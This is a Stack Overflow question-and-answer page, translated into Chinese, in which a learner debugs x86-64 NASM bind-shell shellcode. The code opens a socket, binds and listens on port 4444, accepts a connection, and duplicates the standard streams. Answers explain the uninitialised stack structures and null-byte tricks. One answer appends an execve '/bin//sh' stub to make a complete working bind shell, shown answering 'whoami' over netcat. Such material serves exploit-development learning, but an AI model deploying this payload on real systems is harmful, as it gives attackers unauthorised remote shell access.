【问题标题】:Remove null byte assembly shellcode删除空字节汇编 shellcode
【发布时间】:2018-02-22 20:09:46
【问题描述】:

从我的 shellcode 中删除空字节时,我似乎无法在 mov rsi 指令中获得空字节,以便在没有奇怪的解决方法的情况下干净地删除。

我有一个 bindshell shellcode,在执行 dup2 系统调用时,我必须将 rsi 设置为 0、1 和 2,这样我才能将 stdin、stdout 和 stderror 设置回“用户”。 删除空字节时,我通常会执行以下操作:

xor rsi, rsi
mov sil, 1

但这以某种方式破坏了我的 shellcode。 所以我所做的是:

xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1

这有点多……

有人能告诉我为什么我只用一个 mov sil, 1 来破坏 shellcode 吗?

编辑: 完整的不工作代码:

global _start


_start:

    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall

    mov rdi, rax

    xor rax, rax 

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8


    mov al, 49

    mov rsi, rsp
    mov dl, 16
    syscall

    mov al, 50
    mov sil, 2
    syscall


    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall

    mov r9, rax 


    mov al, 3
    syscall


    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall

    mov al, 33
    xor rsi, rsi
    **mov sil, 1**
    syscall

    mov al, 33
    xor rsi,rsi
    **mov sil, 2** 
    syscall

HERE COMES ACTUALL SHELL CALLING

【问题讨论】:

  • xor esi,esi / inc esi 是正常的(4 个字节,没有不必要的 REX 前缀)。但是mov sil, 1 也应该可以工作。如果没有,那么您应该弄清楚它是如何破坏的,以及您的漏洞利用中存在哪些其他字节问题。例如非 ASCII 字节的高位被剥离了吗?
  • 使用汇编程序的列表文件来检查零字节来自哪里,或者是否确实有一些。 xor rsi,rsi mov sil,148 31 F6 40 B6 01 机器码(不为零)。
  • 这是一个关于为什么 mov sil, 1 不起作用的问题,而不是关于空字节的问题,如果不够清楚,抱歉。 @PeterCordes:那么它不起作用的原因是什么?
  • 那么这不是minimal reproducible example,因为这两个序列的架构效果是相同的(除了使用 add/sub 更新标志)。它不起作用的原因有无数可能,没有一个很可能,如果你不向我们展示更大的图景,也无法猜测。
  • 好的,我将编辑并将我的所有代码放入其中不起作用。我只是认为这将是一个有点多的代码。而且我已经使用 GDB 逐步完成了它(我正在学习 shellcoding,所以我经常使用 GDB 进行 ti)。但我就是不明白为什么会溢出

标签: sockets assembly x86-64 nasm shellcode


【解决方案1】:

您的问题与您在堆栈上构建的 sockaddr 结构有关。你的代码是这样做的:

xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte  [rsp-8], 0x2
sub rsp, 8

这会创建一个 16 字节的 sockaddr,但它并未完全初始化。因为您只使用mov byte [rsp-8], 0x2 移动单个字节,所以[rsp-7] 处的字节实际上从未被初始化,并且它将是在被利用的程序运行时发生在堆栈上的任何内容。它可能不是 0。如果它不是 0,那么该结构将有效地具有伪造的 sa_family(或 sin_family)字段。您可以做的是将结构初始化为全零,然后填写:

xor rax, rax
push rax
push rax
mov word [rsp+2], 0x5c11
mov byte [rsp], 0x2

这两个将堆栈上的 16 字节内存提前压为零用于结构。 sub rsp, 8 已被删除,因为 RSP 已通过推送进行更新。我们修改 MOV 指令以反映结构中数据的新偏移量。

您使用的这个参数的C风格结构定义是:

struct sockaddr_in {
   short int            sin_family;        /* 16-bit field, not 8-bit */
   unsigned short int   sin_port;
   struct in_addr       sin_addr;
   unsigned char        sin_zero[8];
};

accept 系统调用创建空间时,您遇到了问题。这段代码:

sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp

sub rsp, 16 很好,因为它为addr 结构分配了 16 个字节。问题在于addrlen 结构是一个32 位无符号整数。您分配了 1 个字节,因此长度可能会受到 addr 结构开头的垃圾的影响(您的数据重叠并且内存未初始化)。您需要将至少 4 个字节的堆栈空间初始化为零并将值 16(长度)移入其中。你可以这样做:

sub rsp, 16
mov rsi, rsp
xor edx, edx              ; RDX = 0
push rdx                  ; Zero initialize 8 bytes of stack space
mov byte [rsp], 16        ; Set length to 16
mov rdx, rsp

为了简化事情,我为 addrlen 字段分配了 8 个字节并将其初始化为值 16(结构长度)。分配额外空间不是问题,它只会浪费 4 个字节的内存。 xor edx, edxxor rdx,rdx 做同样的事情,但编码更短。如果目标操作数是 32 位寄存器,CPU 会自动将其零扩展到 64 位寄存器。


通过上述修复,您应该能够删除如下所示的代码:

mov dl, 1
sub dl, 1

和:

mov sil, al
sub sil, al

当 shellcode 漏洞被放入可利用程序时,使用这些指令可能只是通过改变堆栈布局暂时掩盖了问题。


其他建议

如果您通过strace 运行您的代码(无论是独立的还是作为另一个程序中的shellcode),它将运行指定的程序并转储所有调用的系统调用及其参数。正是这些信息让我意识到一些未初始化的堆栈导致使用错误的值。如果您在调试器中,如果您转储堆栈数据以查看实际用于初始化相关结构的字节,您会看到类似的问题。

【讨论】:

  • 感谢您的回复,我实际上需要一些时间来理解和玩这个,然后才能将其设置为答案。
  • 好的,我经历的很好而且很慢,我认为我的部分错误是 XORing 不够,并且在实际确保一切都 100% 受我控制(如堆栈等)方面不够简洁。 ..)。显然,当在 nasm 链接之后使用 ld 太快时,它会链接一个错误的程序?很好的经验教训:慢慢来,放松一下
  • 再次见面说声谢谢,这对我进一步了解shellcoding、组装和调试有很大帮助!
【解决方案2】:

通过在 dup 系统调用之后添加一些示例代码并删除 ** 字符,您的代码可以正常工作。

正如@Michael Petch 指出的那样,“......没有 sys_exit 系统调用,因此它可能会在运行内存中的任何内容时因段错误而崩溃。”

我刚刚添加了一些使用 execve 系统调用来运行 /bin/sh 的附加代码,只是为了说明您的代码可能是可行的。

nasm -felf64 -g -F dwarf wealot_001.s -o wealot_001.o && ld wealot_001.o -o wealot_001



global _start


_start:

    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall

    mov rdi, rax

    xor rax, rax

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8


    mov al, 49

    mov rsi, rsp
    mov dl, 16
    syscall

    mov al, 50
    mov sil, 2
    syscall


    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall
    mov r9, rax


    mov al, 3
    syscall


    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall

    mov al, 33
    xor rsi, rsi
    mov sil, 1
    syscall

    mov al, 33
    xor rsi,rsi
    mov sil, 2
    syscall





        ; First NULL push
        xor rax, rax
        push rax

        ; push /bin//sh in reverse
        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI
        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI
        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

输出:

$ nc localhost 4444
whoami
david

【讨论】:

  • ** 是我尝试在 stackoverflow 中使其粗体:D。所以和你一起,我的代码实际上应该运行......
  • 嗯,它运行没有错误,因为我在最后添加了一些可执行代码。我需要检查您的代码是否打开了允许连接的侦听端口。同时,您可以运行它,然后使用(netstat 或 ss)查看端口 4444 是否正在侦听,然后使用(netcat 或 nc localhost 4444)尝试连接。
  • @Wealot - 刚刚验证端口 4444 正在监听 (tcp TIME-WAIT 0 0 127.0.0.1:4444 127.0.0.1:34434) ;所以你的代码是正常的。
  • @InfinitelyManic :您是否尝试过获取此代码,将其转换为 shell 代码字符串,然后创建一个运行 shell 代码的简单程序?我相信 OP 遇到的问题是在那个环境中运行他的代码。如果你组装、链接和运行这个独立的,它可能会工作,因为堆栈区域将被 0 填充。在实际程序中,堆栈中可能包含数据字节。
  • 由于我的答案中列出的原因,它不起作用。系统调用将因参数和指针无效而失败,并且它可能会在较早的系统调用软失败时到达您的代码。如果您运行strace,您应该能够看到系统调用、参数和错误响应。我的回答实际上解决了他失败的问题。最大的问题是他如何创建和/或初始化一些数据结构。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-02-26
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多